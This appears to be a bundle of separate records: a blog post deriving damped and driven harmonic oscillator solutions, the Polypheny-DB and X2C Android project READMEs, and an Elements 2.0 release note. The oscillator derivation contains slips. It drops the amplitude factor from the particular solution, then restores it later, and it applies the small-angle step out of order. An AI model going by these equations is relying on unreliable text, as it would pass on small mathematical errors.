Taking the time derivative of $T$ and $V$ we get this homogeneous linear differential equation:

$$ml^2\ddot{\vartheta}\dot{\vartheta} + mgl\sin\vartheta\dot{\vartheta} = 0$$

Which can be simplified to:

$$\ddot{\vartheta} + \frac{g}{l}\vartheta = 0$$

First order Taylor expansion gives us:

$$\sin\vartheta \approx \vartheta$$

Using the auxiliary equation (will discuss below) and a little bit of algebra we arrive at:

$$\vartheta = A\cos(\omega_0t + \varphi_0)$$

Where:

$$\omega_0^2 = \frac{g}{l}$$

The amplitude $A$ and phase shift $\varphi_0$ are constants determined by the initial conditions. $\omega_0$ corresponds to the natural frequency of the oscillator.

That was the simplest example of how the linear differential equation shows up in simple harmonic oscillations, now we will dive deeper into what happens if we have damping and also if we have a driving force.

## Damped Oscillations

First let's start with that of a damped system - a system which has a force acting against the motion. Whatever the system may be, eventually one arrives at a homogeneous linear differential equation of the form:

$$m\ddot{x} + b\dot{x} + kx = 0$$

Where $b$ is the damping constant and $k$ the restoring force constant.

It is always good to move variables around to get an isolated $\ddot{x}$, leading us to:

$$\ddot{x} + \gamma\dot{x} + \omega_0^2x = 0$$

Where:

$$\gamma = \frac{b}{m}$$

$$\omega_0^2 = \frac{k}{m}$$

There are multiple ways to solve linear differential equations, but for this we will use the auxiliary equation. The auxiliary equation is an 'ansatz' (German word for approach) or educated guess based off what we know about the equation. Since it's linear the auxiliary equation leverages the power of Euler's constant and its ease of differentiation.  We know that $\frac{d}{dt}e^{\lambda t} = \lambda e^{\lambda t}$. Using it as the approach to our equation we get:

$$\lambda^2 e^{\lambda t} + \gamma\lambda e^{\lambda t} + \omega_0^2 e^{\lambda t} = 0$$

Removing the $e^{\lambda t}$ we get:

$$\lambda^2 + \gamma\lambda + \omega_0^2 = 0$$

Which can be easily solved using the quadratic equation:

$$\lambda = - \frac{\gamma}{2} \pm \sqrt{(\frac{\gamma}{2})^2 - \omega_0^2}$$

There are three scenarios:

1. Under-damped when $\frac{\gamma}{2} < \omega_0$
2. Critically-damped when $\frac{\gamma}{2} = \omega_0$
3. Over-damped when $\frac{\gamma}{2} > \omega_0$

I will focus on the under-damped case which still oscillates, but with decreasing amplitude, and eventually stops as $t \implies \infty$.

$$\frac{\gamma}{2} < \omega_0 \implies \lambda = - \frac{\gamma}{2} \pm i\sqrt{\omega_0^2 - (\frac{\gamma}{2})^2}$$

$$\omega' = \sqrt{\omega_0^2 - (\frac{\gamma}{2})^2}$$

Substituting $\lambda$ in and manipulating the equation a bit we get the complimentary (homogeneous) solution:

$$x_c = c e^{-\frac{\gamma}{2} t}\cos(\omega't + \varphi_0)$$

Where $c$ and $\varphi_0$ are constants set by the initial conditions.

Here's some plots illustrating the three different scenarios:

![](/images/2017-04-01-simple-harmonic-oscillations/damped_oscillations.png)

## Driven Oscillations With Damping

Now let's work on the non-homogeneous equation with a driving force. Let's assume the equation is the same as in the previous where we solved with damping, but it has an extra term from the driving force in the equation (which is why it's called non-homogeneous).

$$\ddot{x} + \gamma\dot{x} + \omega_0^2x = \frac{F}{m}\cos\omega t$$

Where $F =$ driving force and $\omega =$ the angular frequency of the driving force.

To solve this equation we will leverage Euler's identity:

$$e^{i\varphi} = \cos\varphi + i\sin\varphi$$

We can create a new equation where our equation is the real part of the new equation and our solution is the real part of the new solution.

New equation:

$$\ddot{z} + \gamma\dot{z} + \omega_0^2z = \frac{F}{m}e^{i\omega t}$$

Using an ansatz of $Ae^{i\omega t}$ yields:

$$-\omega^2 Ae^{i\omega t} + i\omega\gamma Ae^{i\omega t} + \omega_0^2Ae^{i\omega t} = \frac{F}{m}e^{i\omega t}$$

With some rearranging we get:

$$(\omega_0^2 - \omega^2 + i\omega\gamma)A = \frac{F}{m}$$

For simplification let $I = (\omega_0^2 - \omega^2) + i\omega\gamma$

The angle of $I$ in the complex plane $\varphi = \arctan\frac{\omega\gamma}{\omega_0^2 - \omega^2}$

The distance to $I$ in the complex plane $\|I\| = \sqrt{(\omega_0^2 - \omega^2)^2 + (\omega\gamma)^2}$

Leads us to:

$$A = \frac{F}{mI}$$

The beauty of complex numbers lets us represent $I$ in exponential form using the angle and distance in the complex plane calculated above. Therefore:

$$I = |I|e^{i\varphi} \implies A = \frac{F}{m|I|}e^{-i\varphi}$$

Thus we obtain our particular solution to our new equation:

$$z_p = e^{i(\omega t - \varphi)}$$

Since we already know the solution to our original equation is the real part of$z_p$, we can extract it from Euler's identity and finish up the complete solution to our damped and driven oscillator:

$$x_p = \cos(\omega t - \varphi)$$

The complete solution is the the sum of the complimentary and particular solutions, thus we now have:

$$x =c e^{-\frac{\gamma}{2} t}\cos(\omega't + \varphi_0) +\frac{F}{m|I|}\cos(\omega t - \varphi)$$

$x_c$ is called the transient solution which is determined by the system's initial conditions and $x_p$ is called the steady-state solution, because as $t \implies \infty$ $x_c$ will tend to zero and $x_p$ will remain.

The most interesting behavior occurs when $\omega = \omega_0$. This is called the resonance. Because $\|I\|$ is downstairs, when $\omega = \omega_0$ it decreases the size of the denominator, increasing the overall amplitude of oscillations. A good way to describe it is that the resonance frequency is the frequency at which the transfer of energy is particularly efficient.

These charts clearly show when the steady state part of the solution takes over as well as the increase in amplitude near resonance frequency (bottom right):

![](/images/2017-04-01-simple-harmonic-oscillations/driven_damped_oscillations.png)

Bonus chart showing resonance in a driven system without damping:

![](/images/2017-04-01-simple-harmonic-oscillations/driven_oscillations.png)

Oscillations are one of my favorite topics in physics, and this post is just the tip of the iceberg. If you have any questions or comments feel free to contact me and I'll be happy to discuss this with you!


text:
        <picture><source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/polypheny/Admin/master/Logo/logo-white-text_cropped.png">

        </picture>

# Polypheny-DB

_Polypheny-DB_ is a self-adaptive Polystore that provides cost- and workload aware access to heterogeneous data. As a Polystore, Polypheny-DB seamlessly combines different underlying data storage engines to provide good query performance independent of the type of workload.

If you want to learn more about Polypheny-DB, we recommend having a look on our [website](https://polypheny.org) or on [this paper](http://dx.doi.org/10.1007/978-3-030-71055-2_2).

## Getting Started ##
The easiest way to setup Polypheny-DB is to use a [release](https://github.com/polypheny/Polypheny-DB/releases/latest). Alternatively, you can use [Polypheny Control](https://github.com/polypheny/Polypheny-Control) to automatically build Polypheny-DB.

## Roadmap ##
See the [open issues](https://github.com/polypheny/Polypheny-DB/issues) for a list of proposed features (and known issues).

## Contributing ##
We highly welcome your contributions to Polypheny-DB. If you would like to contribute, please fork the repository and submit your changes as a pull request. Please consult our [Admin Repository](https://github.com/polypheny/Admin) for guidelines and additional information.

Please note that we have a [code of conduct](https://github.com/polypheny/Admin/blob/master/CODE_OF_CONDUCT.md). Please follow it in all your interactions with the project.

## Credits ##
_Polypheny-DB_ builds upon the great work of several other projects:

* [Apache Avatica](https://calcite.apache.org/avatica/): A framework for building database drivers
* [Apache Calcite](https://calcite.apache.org/): A framework for building databases
* [HSQLDB](http://hsqldb.org/): A relational database written in Java
* [JavaCC](https://javacc.org/): A parser generator
* [Java Spark](http://sparkjava.com/): A framework for building web services
* [Project Lombok](https://projectlombok.org/): A library which provides annotations for tedious tasks

Except for the first two, those projects are used "as is" and integrated as a library. _Apache Avatica_ we [forked](https://github.com/polypheny/Avatica) and made some Polypheny-DB specific adjustments. From _Apache Calcite_ we use parts of the code as foundation for Polypheny-DB.

## Acknowledgements
The Polypheny-DB project is supported by the Swiss National Science Foundation (SNSF) under the contract no. 200021_172763.

## License ##
The Apache 2.0 License

repository: polypheny/Polypheny-DB

gha_language: Java

repo_name: polypheny/Polypheny-DB


text:
# Background
[中文](README_CN.md)

Generally, when writing a page, everyone writes the layout through xml, and loads the xml layout into memory through set contentView or LayoutInflater.from(context).inflate method.
#### advantage
   *  Good maintainability
   *  Support instant preview
   *  Clear code structure

#### Disadvantage
   *  Reading xml is time consuming
   *  Recursive parsing xml is time consuming
   *  The time it takes to generate an object is more than three times that of new.

Our team has also explored many solutions on this issue. Once it reached the other extreme, completely abandoning xml, all controls are new through java, even directly in the canvas, so although the performance is indeed improved, but the code is gone. A little bit of readability and maintainability.
We later reflected on the code to see the machine, or to show it? ? Maybe X2C has given us an answer.

# X2C

In order to preserve the advantages of xml and solve the performance problems it brings, we developed the X2C solution. That is, during the compilation and generation of the APK, the translation of the layout that needs to be translated generates the corresponding java file, so that the developer writes the layout or writes the original xml, but for the program, the runtime loads the corresponding java file.
We use APT (Annotation Processor Tool) + JavaPoet technology to complete the operation of the whole process during the compilation [Annotation] -> [Resolve] -> [Translate xml] -> [Generate java].

# Performance comparison
After the development integration, we did a simple test, the performance comparison is as follows

| Loading method|frequency|Average load time|
| ------ | ------ |  ------ |
|XML|100|30|
|X2C|100|11|

# Integrated use
#### 1.Add dependency
Add dependencies in the build.gradle file of the module
```java
annotationProcessor 'com.zhangyue.we:x2c-apt:1.1.2'
implementation 'com.zhangyue.we:x2c-lib:1.0.6'
```

#### 2.Add annotation
Add annotations to any java class or method that uses the layout.
```java
@Xml(layouts = "activity_main")
```

#### 3.Configure custom properties (no or no)

Create an X2C_CONFIG.xml file under the module, which defines the mapping between attributes and methods. If the receiver is a view, write the view. Otherwise fill in params.

```mxl
<x2c-config>
    <attr name="app:mixColor" toFunc="view.setMixColor(int)" />
    <attr name="android:layout_marginTop" toFunc="params.topMargin=int" />
</x2c-config>
```

#### 4.Load layout through X2C
Replace where you originally used set content view or inflate, as follows:
```java
this.setContentView(R.layout.activity_main); --> X2C.setContentView(this, R.layout.activity_main);
```
```java
LayoutInflater.from(this).inflate(R.layout.activity_main,null); --> X2C.inflate(this,R.layout.activity_main,null);
```

# Process file

#### Original xml

  ```xml
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingLeft="10dp">

    <include
        android:id="@+id/head"
        layout="@layout/head"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerHorizontal="true" />

    <ImageView
        android:id="@+id/ccc"
        style="@style/bb"
        android:layout_below="@id/head" />
</RelativeLayout>
```

#### Generated java file
```java

/**
 * WARN!!! dont edit this file
 * translate from {@link  com.zhangyue.we.x2c.demo.R.layout.activity_main}
 * autho chengwei
 * email<EMAIL_ADDRESS> */
public class X2C_2131296281_Activity_Main implements IViewCreator {
  @Override
  public View createView(Context ctx, int layoutId) {
    	Resources res = ctx.getResources();

        RelativeLayout relativeLayout0 = new RelativeLayout(ctx);
        relativeLayout0.setPadding((int)(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP,10,res.getDisplayMetrics())),0,0,0);

        View view1 =(View) new X2C_2131296283_Head().createView(ctx,0);
        RelativeLayout.LayoutParams layoutParam1 = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT,ViewGroup.LayoutParams.WRAP_CONTENT);
        view1.setLayoutParams(layoutParam1);
        relativeLayout0.addView(view1);
        view1.setId(R.id.head);
        layoutParam1.addRule(RelativeLayout.CENTER_HORIZONTAL,RelativeLayout.TRUE);

        ImageView imageView2 = new ImageView(ctx);
        RelativeLayout.LayoutParams layoutParam2 = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,(int)(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP,1,res.getDisplayMetrics())));
        imageView2.setLayoutParams(layoutParam2);
        relativeLayout0.addView(imageView2);
        imageView2.setId(R.id.ccc);
        layoutParam2.addRule(RelativeLayout.BELOW,R.id.head);

        return relativeLayout0;
  }
}
```
#### Generated map file
```java

/**
 * WARN!!! don't edit this file
 *
 * author chengwei
 * email<EMAIL_ADDRESS> */
public class X2C127_activity implements IViewCreator {
  @Override
  public View createView(Context context) {
        View view = null ;
        int sdk = Build.VERSION.SDK_INT;
        int orientation = context.getResources().getConfiguration().orientation;
        boolean isLandscape = orientation == Configuration.ORIENTATION_LANDSCAPE;
        if (isLandscape) {
        	view = new com.zhangyue.we.x2c.layouts.land.X2C127_Activity().createView(context);
        } else if (sdk >= 27) {
        	view = new com.zhangyue.we.x2c.layouts.v27.X2C127_Activity().createView(context);
        } else if (sdk >= 21) {
        	view = new com.zhangyue.we.x2c.layouts.v21.X2C127_Activity().createView(context);
        } else {
        	view = new com.zhangyue.we.x2c.layouts.X2C127_Activity().createView(context);
        }
        return view;
  }
}

```
# not support
*  The merge tag cannot determine the parent of the xml during compilation, so it cannot be supported.
*  System style, only the style list of the application can be found during compilation, and the system style cannot be queried, so only the in-app style is supported.

# support
* ButterKnifer
* DataBinding
* android widget
* customView
* include tag
* viewStub tag
* fragment label
* Application style
* Custom attribute
* System attribute

| Attribute name|Attribute name|
| ------ |------- |
|android:textSize| app:layout_constraintRight_toLeftOf|
|android:textColor| app:layout_constraintBottom_toTopOf|
|android:text| app:layout_constraintTop_toTopOf|
|android:background| app:layout_constrainedHeight|
|[view all](supportAll.md)|

## There are usage problems and other technical issues, welcome to exchange discussion

> QQ群：`870956525`，Add please specify from`X2C`
>
>
>
> Welcome everyone to use, the project will continue to maintain
>
>
> Another: welcome to join[IReader](http://www.zhangyue.com/jobs) family, study new Android technologies together. Please send your resume`huangjian@zhangyue.com`,Indicate the direction of employment。
>
# LICENSE

```
MIT LICENSE
Copyright (c) 2018 zhangyue

Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
```


text:
# Release Notes

See links and brief summaries about major releases to elements library here.

# 2.0

Elements 2.0 is a big step for `Curve` geometry in Elements.

We have changed the internal parameterization of curves to allow for more flexibility in the future and to adhere to common industry standards. This change is not backwards compatible, and will require some changes to your code.

We have also added a new `BoundedCurve` class that is the base class for curves that have a fixed domain.

For more details see the [Elements 2.0 Release](https://github.com/hypar-io/Elements/blob/master/releases/Elements_2.0.md) page for more details.

repository: hypar-io/Elements

repo_name: hypar-io/Elements